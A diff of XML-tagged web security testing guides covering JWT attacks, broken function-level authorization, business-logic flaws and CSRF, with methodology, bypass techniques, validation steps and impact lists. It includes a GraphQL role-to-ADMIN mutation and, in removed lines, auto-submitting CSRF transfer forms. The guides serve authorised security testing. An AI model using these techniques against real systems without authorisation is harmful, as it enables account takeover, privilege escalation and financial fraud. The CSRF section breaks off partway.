2. Demonstrate access token vs ID token confusion at an API.
|
||||
3. Prove refresh token reuse without rotation detection or revocation.
|
||||
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
|
||||
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a vulnerability if:
|
||||
- Requires valid credentials
|
||||
- Only affects own session
|
||||
- Proper signature validation
|
||||
- Token expiration enforced
|
||||
- Rate limiting prevents brute force
|
||||
- Token rejected due to strict audience/issuer enforcement
|
||||
- Key pinning with JWKS whitelist and TLS validation
|
||||
- Short-lived tokens with rotation and revocation on logout
|
||||
- ID token not accepted by APIs that require access tokens
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account takeover: access other users' accounts
|
||||
- Privilege escalation: user to admin
|
||||
- Token forgery: create valid tokens
|
||||
- Bypass mechanisms: skip auth/2FA
|
||||
- Persistent access: survives logout
|
||||
- Account takeover and durable session persistence
|
||||
- Privilege escalation via claim manipulation or cross-service acceptance
|
||||
- Cross-tenant or cross-application data access
|
||||
- Token minting by attacker-controlled keys or endpoints
|
||||
</impact>
|
||||
|
||||
<remember>Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration.</remember>
|
||||
<pro_tips>
|
||||
1. Pin verification to issuer and audience; log and diff claim sets across services.
|
||||
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
|
||||
3. Test token reuse across all services; many backends only check signature, not audience/typ.
|
||||
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
|
||||
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
|
||||
6. Try DPoP/mTLS absence to replay tokens from different devices.
|
||||
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
|
||||
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
|
||||
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
|
||||
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
|
||||
</authentication_jwt_guide>
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
<broken_function_level_authorization_guide>
|
||||
<title>BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)</title>
|
||||
|
||||
<critical>BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.</critical>
|
||||
|
||||
<scope>
|
||||
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
||||
- Feature gates: toggles enforced at edge/UI, not at core services
|
||||
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
|
||||
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
||||
- Background workers/jobs performing actions without re-checking authz
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
|
||||
2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
|
||||
3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
|
||||
4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_enumeration>
|
||||
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
|
||||
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
|
||||
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
|
||||
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
|
||||
</surface_enumeration>
|
||||
|
||||
<signals>
|
||||
- 401/403 on UI but 200 via direct API call; differing status codes across transports
|
||||
- Actions succeed via background jobs when direct call is denied
|
||||
- Changing only headers (role/org) alters access without token change
|
||||
</signals>
|
||||
|
||||
<high_value_actions>
|
||||
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
||||
- Approve/void/refund/credit issuance, price/plan overrides
|
||||
- Export/report generation, data deletion, account suspension/reactivation
|
||||
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
||||
- Security settings: 2FA reset, email/phone verification overrides
|
||||
</high_value_actions>
|
||||
|
||||
<exploitation_techniques>
|
||||
<verb_drift_and_aliases>
|
||||
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
||||
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
||||
</verb_drift_and_aliases>
|
||||
|
||||
<edge_vs_core_mismatch>
|
||||
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
||||
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
||||
</edge_vs_core_mismatch>
|
||||
|
||||
<feature_flag_bypass>
|
||||
- Client-checked feature gates; call backend endpoints directly
|
||||
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
||||
</feature_flag_bypass>
|
||||
|
||||
<batch_job_paths>
|
||||
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
||||
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
||||
</batch_job_paths>
|
||||
|
||||
<content_type_paths>
|
||||
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
||||
</content_type_paths>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<graphql>
|
||||
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
||||
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
||||
- Example:
|
||||
{% raw %}
|
||||
mutation Promote($id:ID!){
|
||||
a: updateUser(id:$id, role: ADMIN){ id role }
|
||||
}
|
||||
{% endraw %}
|
||||
</graphql>
|
||||
|
||||
<grpc>
|
||||
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
||||
- Reflection lists services/methods; call admin methods that the gateway hid
|
||||
</grpc>
|
||||
|
||||
<websocket>
|
||||
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
||||
- Try emitting privileged actions after joining standard channels
|
||||
</websocket>
|
||||
|
||||
<multi_tenant>
|
||||
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
||||
</multi_tenant>
|
||||
|
||||
<microservices>
|
||||
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
||||
</microservices>
|
||||
|
||||
<bypass_techniques>
|
||||
<header_trust>
|
||||
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
||||
</header_trust>
|
||||
|
||||
<route_shadowing>
|
||||
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
||||
</route_shadowing>
|
||||
|
||||
<idempotency_and_retries>
|
||||
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
||||
</idempotency_and_retries>
|
||||
|
||||
<cache_key_confusion>
|
||||
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
||||
</cache_key_confusion>
|
||||
</bypass_techniques>
|
||||
|
||||
<validation>
|
||||
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
|
||||
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
|
||||
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
|
||||
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Read-only endpoints mislabeled as admin but publicly documented
|
||||
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
||||
- Simulated environments where admin endpoints are stubbed with no side effects
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Privilege escalation to admin/staff actions
|
||||
- Monetary/state impact: refunds/credits/approvals without authorization
|
||||
- Tenant-wide configuration changes, impersonation, or data deletion
|
||||
- Compliance and audit violations due to bypassed approval workflows
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
|
||||
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
|
||||
3. Inspect gateways for identity header injection; never trust client-provided identity.
|
||||
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
|
||||
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.</remember>
|
||||
</broken_function_level_authorization_guide>
|
||||
@@ -1,143 +1,171 @@
|
||||
<business_logic_flaws_guide>
|
||||
<title>BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION</title>
|
||||
<title>BUSINESS LOGIC FLAWS</title>
|
||||
|
||||
<critical>Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities.</critical>
|
||||
<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
|
||||
|
||||
<scope>
|
||||
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
||||
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
||||
- Authorization-by-logic: feature gates, role transitions, approval workflows
|
||||
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
|
||||
- Multi-tenant isolation: cross-organization data or action bleed
|
||||
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
|
||||
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
|
||||
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
|
||||
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
|
||||
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
- Map complete user journeys and state transitions
|
||||
- Document developer assumptions
|
||||
- Find edge cases in workflows
|
||||
- Look for missing validation steps
|
||||
- Identify trust boundaries
|
||||
<workflow_mapping>
|
||||
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
|
||||
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
|
||||
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
|
||||
</workflow_mapping>
|
||||
|
||||
<input_surface>
|
||||
- Hidden fields and client-computed totals; server must recompute on trusted sources
|
||||
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
||||
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
||||
</input_surface>
|
||||
|
||||
<state_time_axes>
|
||||
- Replays: resubmit stale finalize/confirm requests
|
||||
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
||||
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
||||
</state_time_axes>
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
<financial_workflows>
|
||||
- Price manipulation (negative quantities, decimal truncation)
|
||||
- Currency conversion abuse (buy weak, refund strong)
|
||||
- Discount/coupon stacking
|
||||
- Payment method switching after verification
|
||||
- Cart manipulation during checkout
|
||||
</financial_workflows>
|
||||
|
||||
<account_management>
|
||||
- Registration race conditions (same email/username)
|
||||
- Account type elevation
|
||||
- Trial period extension
|
||||
- Subscription downgrade with feature retention
|
||||
</account_management>
|
||||
|
||||
<authorization_flaws>
|
||||
- Function-level bypass (accessing admin functions as user)
|
||||
- Object reference manipulation
|
||||
- Permission inheritance bugs
|
||||
- Multi-tenancy isolation failures
|
||||
</authorization_flaws>
|
||||
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
||||
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
||||
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
||||
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
|
||||
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
|
||||
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
||||
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
||||
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<race_conditions>
|
||||
Use race conditions to:
|
||||
- Double-spend vouchers/credits
|
||||
- Bypass rate limits
|
||||
- Create duplicate accounts
|
||||
- Exploit TOCTOU vulnerabilities
|
||||
</race_conditions>
|
||||
<state_machine_abuse>
|
||||
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
|
||||
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
||||
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
||||
</state_machine_abuse>
|
||||
|
||||
<state_manipulation>
|
||||
- Skip workflow steps
|
||||
- Replay previous states
|
||||
- Force invalid state transitions
|
||||
- Manipulate hidden parameters
|
||||
</state_manipulation>
|
||||
<concurrency_and_idempotency>
|
||||
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
||||
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
||||
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
||||
</concurrency_and_idempotency>
|
||||
|
||||
<input_manipulation>
|
||||
- Type confusion: string where int expected
|
||||
- Boundary values: 0, -1, MAX_INT
|
||||
- Format abuse: scientific notation, Unicode
|
||||
- Encoding tricks: double encoding, mixed encoding
|
||||
</input_manipulation>
|
||||
</exploitation_techniques>
|
||||
<numeric_and_currency>
|
||||
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
||||
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
||||
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
||||
</numeric_and_currency>
|
||||
|
||||
<common_flaws>
|
||||
<shopping_cart>
|
||||
- Add items with negative price
|
||||
- Modify prices client-side
|
||||
- Apply expired coupons
|
||||
- Stack incompatible discounts
|
||||
- Change currency after price lock
|
||||
</shopping_cart>
|
||||
<quotas_limits_inventory>
|
||||
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
||||
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
||||
- Distributed counters without strong consistency enabling double-consumption
|
||||
</quotas_limits_inventory>
|
||||
|
||||
<payment_processing>
|
||||
- Complete order before payment
|
||||
- Partial payment acceptance
|
||||
- Payment replay attacks
|
||||
- Void after delivery
|
||||
- Refund more than paid
|
||||
</payment_processing>
|
||||
<refunds_chargebacks>
|
||||
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
||||
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
||||
</refunds_chargebacks>
|
||||
|
||||
<user_lifecycle>
|
||||
- Premium features in trial
|
||||
- Account deletion bypasses
|
||||
- Privilege retention after demotion
|
||||
- Transfer restrictions bypass
|
||||
</user_lifecycle>
|
||||
</common_flaws>
|
||||
<feature_gates_and_roles>
|
||||
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
||||
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
||||
</feature_gates_and_roles>
|
||||
|
||||
<advanced_techniques>
|
||||
<business_constraint_violations>
|
||||
- Exceed account limits
|
||||
- Bypass geographic restrictions
|
||||
- Violate temporal constraints
|
||||
- Break dependency chains
|
||||
</business_constraint_violations>
|
||||
<event_driven_sagas>
|
||||
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
||||
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
||||
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
||||
</event_driven_sagas>
|
||||
|
||||
<workflow_abuse>
|
||||
- Parallel execution of exclusive processes
|
||||
- Recursive operations (infinite loops)
|
||||
- Asynchronous timing exploitation
|
||||
- Callback manipulation
|
||||
</workflow_abuse>
|
||||
</advanced_techniques>
|
||||
<microservices_boundaries>
|
||||
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
||||
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
||||
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
||||
</microservices_boundaries>
|
||||
|
||||
<multi_tenant_isolation>
|
||||
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
||||
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
||||
</multi_tenant_isolation>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching (json/form/multipart) to hit different code paths
|
||||
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
||||
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
||||
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<ecommerce>
|
||||
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
||||
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
||||
</ecommerce>
|
||||
|
||||
<banking_fintech>
|
||||
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
||||
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
||||
</banking_fintech>
|
||||
|
||||
<saas_b2b>
|
||||
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
||||
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
||||
</saas_b2b>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- Business logic + race: duplicate benefits before state updates
|
||||
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
||||
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm business logic flaw:
|
||||
1. Demonstrate financial impact
|
||||
2. Show consistent reproduction
|
||||
3. Prove bypass of intended restrictions
|
||||
4. Document assumption violation
|
||||
5. Quantify potential damage
|
||||
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
|
||||
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
|
||||
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
|
||||
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a business logic flaw if:
|
||||
- Requires technical vulnerability (SQLi, XSS)
|
||||
- Working as designed (bad design ≠ vulnerability)
|
||||
- Only affects display/UI
|
||||
- No security impact
|
||||
- Requires privileged access
|
||||
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
||||
- Visual-only inconsistencies with no durable or exploitable state change
|
||||
- Admin-only operations with proper audit and approvals
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Financial loss (direct monetary impact)
|
||||
- Unauthorized access to features/data
|
||||
- Service disruption
|
||||
- Compliance violations
|
||||
- Reputation damage
|
||||
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
||||
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
||||
- Denial of inventory/services to legitimate users through resource exhaustion
|
||||
- Privilege retention or unauthorized access to premium features
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Think like a malicious user, not a developer
|
||||
2. Question every assumption
|
||||
3. Test boundary conditions obsessively
|
||||
4. Combine multiple small issues
|
||||
5. Focus on money flows
|
||||
6. Check state machines thoroughly
|
||||
7. Abuse features, don't break them
|
||||
8. Document business impact clearly
|
||||
9. Test integration points
|
||||
10. Time is often a factor - exploit it
|
||||
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
|
||||
2. Test with time and concurrency; many bugs only appear under pressure.
|
||||
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
|
||||
4. Treat idempotency and retries as first-class: verify key scope and persistence.
|
||||
5. Probe background workers and webhooks separately; they often skip auth and rule checks.
|
||||
6. Validate role/feature gates at the service that mutates state, not only at the edge.
|
||||
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
|
||||
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
|
||||
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
|
||||
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain.</remember>
|
||||
<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
|
||||
</business_logic_flaws_guide>
|
||||
|
||||
@@ -1,168 +1,174 @@
|
||||
<csrf_vulnerability_guide>
|
||||
<title>CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION</title>
|
||||
<title>CROSS-SITE REQUEST FORGERY (CSRF)</title>
|
||||
|
||||
<critical>CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser.</critical>
|
||||
<critical>CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.</critical>
|
||||
|
||||
<scope>
|
||||
- Web apps with cookie-based sessions and HTTP auth
|
||||
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
||||
- Authentication flows: login/logout, password/email change, MFA toggles
|
||||
- OAuth/OIDC: authorize, token, logout, disconnect/connect
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
|
||||
2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
|
||||
3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
|
||||
4. Validate across browsers; behavior differs by SameSite and navigation context.
|
||||
</methodology>
|
||||
|
||||
<high_value_targets>
|
||||
- Password/email change forms
|
||||
- Money transfer/payment functions
|
||||
- Account deletion/deactivation
|
||||
- Permission/role changes
|
||||
- API key generation/regeneration
|
||||
- OAuth connection/disconnection
|
||||
- 2FA enable/disable
|
||||
- Privacy settings modification
|
||||
- Admin functions
|
||||
- File uploads/deletions
|
||||
- Credentials and profile changes (email/password/phone)
|
||||
- Payment and money movement, subscription/plan changes
|
||||
- API key/secret generation, PAT rotation, SSH keys
|
||||
- 2FA/TOTP enable/disable; backup codes; device trust
|
||||
- OAuth connect/disconnect; logout; account deletion
|
||||
- Admin/staff actions and impersonation flows
|
||||
- File uploads/deletes; access control changes
|
||||
</high_value_targets>
|
||||
|
||||
<discovery_techniques>
|
||||
<token_analysis>
|
||||
Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN
|
||||
<session_and_cookies>
|
||||
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
|
||||
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
|
||||
</session_and_cookies>
|
||||
|
||||
Check if tokens are:
|
||||
- Actually validated (remove and test)
|
||||
- Tied to user session
|
||||
- Reusable across requests
|
||||
- Present in GET requests
|
||||
- Predictable or static
|
||||
</token_analysis>
|
||||
<token_and_header_checks>
|
||||
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
|
||||
- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
|
||||
</token_and_header_checks>
|
||||
|
||||
<http_methods>
|
||||
- Test if POST endpoints accept GET
|
||||
- Try method override headers: _method, X-HTTP-Method-Override
|
||||
- Check if PUT/DELETE lack protection
|
||||
</http_methods>
|
||||
<method_and_content_types>
|
||||
- Confirm whether GET, HEAD, or OPTIONS perform state changes.
|
||||
- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
|
||||
- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
|
||||
</method_and_content_types>
|
||||
|
||||
<cors_profile>
|
||||
- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
|
||||
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
|
||||
</cors_profile>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<basic_forms>
|
||||
HTML form auto-submit:
|
||||
<form action="https://target.com/transfer" method="POST">
|
||||
<input name="amount" value="1000">
|
||||
<input name="to" value="attacker">
|
||||
</form>
|
||||
<script>document.forms[0].submit()</script>
|
||||
</basic_forms>
|
||||
<navigation_csrf>
|
||||
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
|
||||
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
|
||||
</navigation_csrf>
|
||||
|
||||
<simple_ct_csrf>
|
||||
- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
|
||||
- text/plain form bodies can slip through validators and be parsed server-side.
|
||||
</simple_ct_csrf>
|
||||
|
||||
<json_csrf>
|
||||
For JSON endpoints:
|
||||
<form enctype="text/plain" action="https://target.com/api">
|
||||
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
|
||||
</form>
|
||||
- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
|
||||
- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
|
||||
</json_csrf>
|
||||
|
||||
<multipart_csrf>
|
||||
For file uploads:
|
||||
Use XMLHttpRequest with credentials
|
||||
Generate multipart/form-data boundaries
|
||||
</multipart_csrf>
|
||||
<login_logout_csrf>
|
||||
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account.
|
||||
- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account.
|
||||
</login_logout_csrf>
|
||||
|
||||
<oauth_oidc_flows>
|
||||
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
|
||||
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
|
||||
</oauth_oidc_flows>
|
||||
|
||||
<file_and_action_endpoints>
|
||||
- File upload/delete often lack token checks; forge multipart requests to modify storage.
|
||||
- Admin actions exposed as simple POST links are frequently CSRFable.
|
||||
</file_and_action_endpoints>
|
||||
</exploitation_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<token_bypasses>
|
||||
- Null token: remove parameter entirely
|
||||
- Empty token: csrf_token=
|
||||
- Token from own account: use your valid token
|
||||
- Token fixation: force known token value
|
||||
- Method interchange: GET token used for POST
|
||||
</token_bypasses>
|
||||
|
||||
<header_bypasses>
|
||||
- Referer bypass: use data: URI, about:blank
|
||||
- Origin bypass: null origin via sandboxed iframe
|
||||
- CORS misconfigurations
|
||||
</header_bypasses>
|
||||
|
||||
<content_type_tricks>
|
||||
- Change multipart to application/x-www-form-urlencoded
|
||||
- Use text/plain for JSON endpoints
|
||||
- Exploit parsers that accept multiple formats
|
||||
</content_type_tricks>
|
||||
</bypass_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<subdomain_csrf>
|
||||
- XSS on subdomain = CSRF on main domain
|
||||
- Cookie scope abuse (domain=.example.com)
|
||||
- Subdomain takeover for CSRF
|
||||
</subdomain_csrf>
|
||||
<samesite_nuance>
|
||||
- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
|
||||
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
|
||||
</samesite_nuance>
|
||||
|
||||
<csrf_login>
|
||||
- Force victim to login as attacker
|
||||
- Plant backdoors in victim's account
|
||||
- Access victim's future data
|
||||
</csrf_login>
|
||||
<origin_referer_obfuscation>
|
||||
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
|
||||
- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
|
||||
</origin_referer_obfuscation>
|
||||
|
||||
<csrf_logout>
|
||||
- Force logout → login CSRF → account takeover
|
||||
</csrf_logout>
|
||||
|
||||
<double_submit_csrf>
|
||||
If using double-submit cookies:
|
||||
- Set cookie via XSS/subdomain
|
||||
- Cookie injection via header injection
|
||||
- Cookie tossing attacks
|
||||
</double_submit_csrf>
|
||||
</advanced_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<websocket_csrf>
|
||||
